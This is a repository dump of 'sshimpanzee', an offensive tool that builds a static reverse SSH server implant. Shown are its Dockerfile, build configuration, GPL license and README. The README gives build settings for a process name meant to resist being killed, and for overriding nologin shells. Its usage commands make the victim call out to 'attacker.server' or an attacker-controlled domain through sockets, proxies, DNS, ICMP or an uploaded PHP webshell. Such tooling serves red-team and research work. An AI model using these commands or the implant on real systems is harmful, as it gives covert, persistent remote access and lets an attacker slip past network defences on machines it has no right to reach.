Repository: lexfo/sshimpanzee Branch: main Commit: bfc045d96e2d Files: 34 Total size: 188.7 KB Directory structure: gitextract_3x9cbdkr/ ├── .gitignore ├── .gitmodules ├── Dockerfile ├── LICENSE ├── README.md ├── build.yaml ├── builder.py ├── patch_openssh.diff ├── src/ │ ├── __init__.py │ ├── args.py │ ├── cmd.py │ ├── data.py │ └── keys.py ├── subsystems/ │ ├── remote_exec/ │ │ ├── remote_exec.c │ │ └── remote_exec_test.c │ └── subsystems.py ├── tuns/ │ ├── builder.py │ ├── combined/ │ │ └── combiner_template.c │ ├── http_enc/ │ │ ├── demux.c │ │ └── proxies/ │ │ └── proxy.php │ ├── http_server/ │ │ ├── demux.c │ │ └── proxies/ │ │ └── proxy.php │ ├── patchs/ │ │ ├── patch_dns2tcp.patch │ │ ├── patch_icmptunnel.patch │ │ ├── patch_libenet.patch │ │ ├── patch_proxysocket.patch │ │ └── patch_websocket.patch │ └── sock/ │ └── sock.c └── utils/ └── client/ ├── bin/ │ ├── active_chan │ ├── proxy_cli.py │ ├── remote_loader.py │ └── sshimpanzee └── config/ ├── dnsconf.txt └── ssh_config ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ openssh-portable/* keys/ *~ sshd src/__pycache__ tuns/__pycache__ subsystems/__pycache__ tuns/libtun.a *.o utils/client/bin/dns2tcpd build/* tuns/combined/combiner_template_out.c ================================================ FILE: .gitmodules ================================================ [submodule "openssh-portable"] path = openssh-portable url = https://github.com/openssh/openssh-portable.git [submodule "tuns/dns2tcp"] path = tuns/dns2tcp url = https://github.com/alex-sector/dns2tcp.git [submodule "tuns/proxysocket"] path = tuns/proxysocket url = https://github.com/brechtsanders/proxysocket [submodule "tuns/icmptunnel"] path = tuns/icmptunnel url = https://github.com/DhavalKapil/icmptunnel.git [submodule "tuns/enet"] path = tuns/enet url = https://github.com/lsalzman/enet [submodule "tuns/websocket"] path = tuns/websocket url = https://github.com/payden/libwsclient.git [submodule "utils/client/bin/interactive-python-websocket-server"] path = utils/client/bin/interactive-python-websocket-server url = https://github.com/TitouanLazard/interactive-python-websocket-server.git ================================================ FILE: Dockerfile ================================================ FROM alpine:3.19 AS build-stage-0 RUN apk add autoconf gcc make python3 git automake musl-dev build-base openssh-keygen binutils linux-headers py3-yaml libtool COPY builder.py patch_openssh.diff build_root/ COPY openssh-portable build_root/openssh-portable/ COPY src build_root/src/ COPY tuns build_root/tuns/ COPY subsystems build_root/subsystems/ COPY .git build_root/.git/ WORKDIR build_root RUN git submodule init; git submodule update --force --recursive --init --remote RUN git -C openssh-portable checkout 8241b9c0529228b4b86d88b1a6076fb9f97e4a99 RUN git -C openssh-portable apply $(pwd)/patch_openssh.diff; RUN cd openssh-portable; autoreconf; FROM build-stage-0 AS build-stage-1 RUN mkdir -p /build_root/build/ RUN mkdir -p /build_root/keys/ COPY build.yaml /build_root/ RUN python builder.py -c build.yaml 2>&1 | tee /build_root/build/build.log RUN cp /build_root/openssh-portable/sshd.h /build_root/build/ || true FROM scratch AS export-stage COPY --from=build-stage-1 /build_root/build/ /build/ COPY --from=build-stage-1 /build_root/keys/ /keys/ ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: README.md ================================================ # Sshimpanzee __Sshimpanzee__ allows you to build a __static *reverse* ssh server__. Instead of listening on a port and waiting for connections, the ssh server will initiate a reverse connect to attacker's ip, just like a regular reverse shell. __Sshimpanzee__ allows you to take advantage of __every features of a regular ssh__ connection, like __port forwards, dynamic socks proxies, or FTP server__. More importantly, if a direct connection from the victim machine to the attacker server is not possible, it provides different tunnelling mecanisms such as __DNS Tunnelling, ICMP Tunnelling, or HTTP Encapsulation__. It also supports HTTP and SOCKS5 proxies. A [technical paper](https://blog.lexfo.fr/sshimpanzee.html) is available on lexfo's blog. ## DOCKER BUILD - RECOMMENDED ``` sudo docker build . --output . sudo docker build . --platform arm64 --output . ``` > You might need to enable env var DOCKER_BUILDKIT=1 ### Compilation file Build is made based on the build.yaml file: ```yaml ### # This is sshimpanzee build configuration file # YAML is used to describe what behaviour and feature should the sshimpanzee get ### ### General config process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name) banner: True # Should the banner be displayed at log verbose: 3 # Verbosity level as written in build/build.log shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported) #public key: "ssh-ed25519 .... ROGUE@ROGUE" make: True # Keep it to true if you want the builder script to generate sshd binary force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances reconf: True # Required for docker builds ### Environment # sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior env: if_not_set : # Variable here will be set if they do not already exists REMOTE: 127.0.0.1 PORT: 8080 MODE: sock # MODE environment variable is used to manage the default tunnel overwrite: # Variable here will overwrite already existent ### Tunnels # sshimpanzee come with different tunneling mecanisms # To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels # Tunnel compilation parameters can be specified here tun: sock: enabled: True icmp: enabled: True buildserv: True # should the corresponding ICMPTunnel server be built raw_sock: False # build with support for raw sock for older kernels http_enc : enabled: True key: # web shell key, empty will result in a new key being generated target: - "php" # list of language you want to generate webshells for path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells dns: enabled: True resource: sshimpanzee # DNS2TCP Resource key: sshimpanzee # DNS2TCP key obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver buildserv: False qtype: TXT # Type of query used by DNS2TCP proxysock: enabled: True no_build: enabled: False path: [] # Openssh subsystems # man sshd_config Subsystems subsystems: internal_sftp: # standard sftp as provided by openssh enabled: True # It is required for scp and sftp name: sftp exec: internal-sftp is_internal: True remote_exec: # Sshimpanzee custom subsystem enabled: True # remote execution using fileless memfd technique name: remote-exec exec: internal-remote-exec is_internal: True python: # example of a stadard ssh subsystem enabled: False name: python exec: /usr/bin/python -c "print('python code')" is_internal: False ``` ## Usage At runtime, sshimpanzee binary is configured through environment variable. The `MODE` variable allows user to select between compiled tunnels. Every tunnels can be configured through environment variables. For example, to get a classic reverse connect to 127.0.0.1:8080 use the following: ``` MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee ``` > It is possible to run sshimpanzee in debug mode with -d. > In debug mode sshimpanzee will stay in foreground. ### Tunnels Currently sshimpanzee support several ways for the implant to reach out to the attacker ssh client: - DNS Tunnelling using dns2tcp protocol - Proxy : HTTP/SOCKS4/SOCKS5 - Sockets : (might be usefull if you want to implement your own tunnels) - ICMP tunnel - HTTP Encapsulation ### Sock Connection 1) Run ssh on client side as follow: ``` ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 8080" -i CLIENT ``` 2) Run sshimpanzee on target : ``` MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee ``` Other examples : ``` MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # bind and listen to 127.0.0.1:8080 MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket ``` ### Connection through proxy 1) Run ssh on client side as follow: ``` ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 4444" -i CLIENT ``` 2) Run sshimpanzee on target : ``` MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee ``` Other examples: ``` MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee ``` ### Use DNS Tunneling 1) On your server run the standard __dns2tcpd__ using the config file in this repo, you will need to modify the domain (and resource port if you want). ``` listen = 0.0.0.0 port = 53 user = nobody key = sshimpanzee chroot = /var/empty/dns2tcp/ domain = resources = sshimpanzee:127.0.0.1:8080 ``` ``` sudo ./dns2tcpd -F -f dns2tcpdrc ``` 2) Run ssh on client side as follow: ``` ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 8080" -i CLIENT ``` 3) Run the sshimpanzee binary: ``` MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee ``` Other examples : ``` MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver ``` ### Use ICMP Tunneling 1) Your server, add the correct capabilities to avoid running the proxycommand as root and disable ping response from the system ``` sudo setcap cap_net_raw+ep icmptunnel echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all ``` 2) Run the standard ssh client with icmptunnel as proxycommand: ``` ssh i -oProxyCommand=./icmptunnel -i test/CLIENT ``` 3) Run the sshimpanzee binary: ``` MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee ``` ### Use HTTP Encapsulation (ssh -> http server -> sshd) 1) Upload the file /tuns/http_enc/proxy.php and sshd files to your target web server 2) Make sure proxy.php is correctly executed 3) Run sshd binary on the webserver ``` MODE=http_enc ./sshimpanzee ``` 4) run ssh on client machine with python script in utils/scripts/ as proxy command : ``` ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT ``` > Multiple argument can be passed to proxy_cli.py to add proxies proxies. > Currently only PHP is supported. On a JSP server, it is recommended to use: [A Black Path Toward The Sun (ABPTTS)](https://github.com/nccgroup/ABPTTS) #### Side notes about http Encapsulation 1) Proxy.php is a minimal webshell, you can use it to upload sshd to the server and run commands. 